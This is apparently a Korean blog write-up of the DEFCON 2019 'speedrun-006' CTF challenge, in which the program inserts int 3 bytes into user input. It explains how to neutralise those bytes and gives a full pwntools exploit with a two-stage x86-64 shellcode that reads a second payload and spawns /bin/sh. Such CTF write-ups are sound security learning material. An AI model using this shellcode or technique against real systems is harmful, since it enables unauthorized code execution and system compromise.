How to Solve
- 입력하는 크기가 26byte여야 하고, 입력된 buf는
shellcode_it
이라는 함수로 넘어가는 게 3번 문제와 흡사하여 26byte에 맞춰서 64bit shellcode를 입력하였더니 풀리지 않았다.- buf에 26개의
A
을 입력하고 스택에서 어떻게 값이 들어가는지 알아보자.- 6, 11, 21, 29번째에
\xcc
가 추가되어 29byte 길이로 변한다.\xcc
는int 3
이라는 명령어를 수행시킨다.int 3
은 디버거가 실행중인 프로그램에 브레이크포인트를 설정하기 위하여 사용된다. 따라서 프로그램이 브레이크에 걸려서 제대로 실행되지 않는 것이다. 따라서int 3
을 제거해주어야 한다. 또한 read 함수를 호출할 수 있도록 하여 제대로 된 shellcode를 입력받도록 하자.
Design the Payload
어셈블리어를 16진수 코드로 변환시킬 때는 https://defuse.ca/online-x86-assembler.htm#disassembly 사이트를 이용하였다.
Remove INT 3
read 함수에는 rbx가 사용되지 않으므로, 0xcc
앞에 코드를 추가하여 mov rbx, 0xcc
라는 명령을 수행시키자.
생각보다 복잡하고 거기다가 null이 코드에 포함되어 있다.
이 코드를 사용하도록 하자. \xcc
앞에 \xb3
만 추가해주면 된다.
read(0, somewhere, some byte)
syscall을 이용하여 read함수를 호출하자. rax, rdi 값은 0, rsi는 어딘가로 입력하는 데 기존 프로그램을 방해하면 안된다. rdx는 적당히 0x30으로 하자. 또한 syscall 이후 read 함수를 이용해 입력한 shellcode를 실행하기 위해 rsi로 점프하는 명령어도 써주어야 한다.
이제 이 코드 사이에 \xb3
을 적절히 추가해줘서 \xcc
를 무력화시키자. 29번째에 나오는 \xcc
는 무시해도 된다. 그전에 syscall되고 점프하기 때문이다.
Shellcode
syscall을 이용하여 execve함수를 호출하자. rax 값은 59, rdi는 "/bin/sh", rsi, rdx는 0이어야 한다.
mov [rdi], 0x68732f6e69622f
으로 하면 오류가 나는 데 아마 상수가 와서 그런 것 같다.
Exploit
from pwn import *
p=process('./speedrun-006')
'''
0: 48 31 c0 xor rax,rax
3: 48 31 ff xor rdi,rdi
6: 48 8d 35 d0 ff ff ff lea rsi,[rip+0xffffffffffffffd0]
d: b2 30 mov dl,0x30
f: 0f 05 syscall
11: ff e6 jmp rsi
'''
payload='\x48\x31\xc0'+'\x90\xb3' # +'\xcc'
payload+='\x48\x31\xff'+'\xb3' # +'\xcc'
payload+='\x48\x8d\x35\xd0\xff\xff\xff'+'\x90\xb3' # +'\xcc'
payload+='\xb2\x30\x0f\x05\xff\xe6'
payload=payload.ljust(0x1a, '\x90')
p.sendafter('ride\n', payload)
'''
0: b0 3b mov al,0x3b
2: 48 31 f6 xor rsi,rsi
5: 48 31 d2 xor rdx,rdx
8: 48 8d 3d f8 ff ff ff lea rdi,[rip+0xfffffffffffffff8]
f: 48 b9 2f 62 69 6e 2f movabs rcx,0x68732f6e69622f
16: 73 68 00
19: 48 89 0f mov QWORD PTR [rdi],rcx
1c: 0f 05 syscall
'''
payload='\xB0\x3B\x48\x31\xF6\x48\x31\xD2\x48\x8D\x3D\xF8\xFF\xFF\xFF\x48\xB9\x2F\x62\x69\x6E\x2F\x73\x68\x00\x48\x89\x0F\x0F\x05'
p.send(payload)
p.interactive()
Get The Shell
'Writeup [pwn] > CTF 대회 기출' 카테고리의 다른 글
[zer0pts CTF 2020] hipwn (0) | 2020.03.11 |
---|---|
DEFCON 2019 Speedrun-007 (0) | 2020.03.07 |
DEFCON 2019 Speedrun-005 (0) | 2020.03.07 |
DEFCON 2019 Speedrun-004 (0) | 2020.03.07 |
DEFCON 2019 Speedrun-003 (0) | 2020.03.07 |